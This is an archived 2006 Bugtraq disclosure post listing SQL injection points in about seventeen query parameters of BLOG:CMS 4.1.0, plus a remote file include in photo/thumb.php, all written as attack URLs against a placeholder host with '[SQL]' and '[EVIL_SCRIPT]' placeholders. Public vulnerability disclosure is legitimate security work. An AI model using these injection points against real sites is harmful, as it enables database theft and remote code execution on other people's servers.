| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Message-ID: <20060705161807.3364.qmail@securityfocus.com> Date: 5 Jul 2006 16:18:07 -0000 From: securityconnection@...il.com To: bugtraq@...urityfocus.com Subject: BLOG:CMS 4.1.0 SQL injection File Include Vulnerability BLOG:CMS 4.1.0 http://blogcms.com ------------- SQL injection ------------- http://target.xx/?1'[SQL] http://target.xx/?item='[SQL] http://target.xx/?blog='[SQL] http://target.xx/?member='[SQL] http://target.xx/?typeface=1'[SQL] http://target.xx/?results='[SQL] http://target.xx/?DokuWiki='[SQL] http://target.xx/?archives='[SQL] http://target.xx/?category='[SQL] http://target.xx/?PHPSESSID='[SQL] http://target.xx/?results=1&blog='[SQL] http://target.xx/?results=1&item='[SQL] http://target.xx/?member=admin&category='[SQL] http://target.xx/?query='[SQL]&amount=0&blogid=1 http://target.xx/?query=1&amount='[SQL]&blogid=1 http://target.xx/?query=1&amount=0&blogid='[SQL] http://target.xx/action.php?action=votepositive&itemid=1'[SQL] ------------------- Remote File Include ------------------- http://target.xx/photo/thumb.php?gallery=./Corvette&image=[EVIL_SCRIPT] ----------------- Ellipsis Security http://www.ellsec.org
Powered by blists - more mailing lists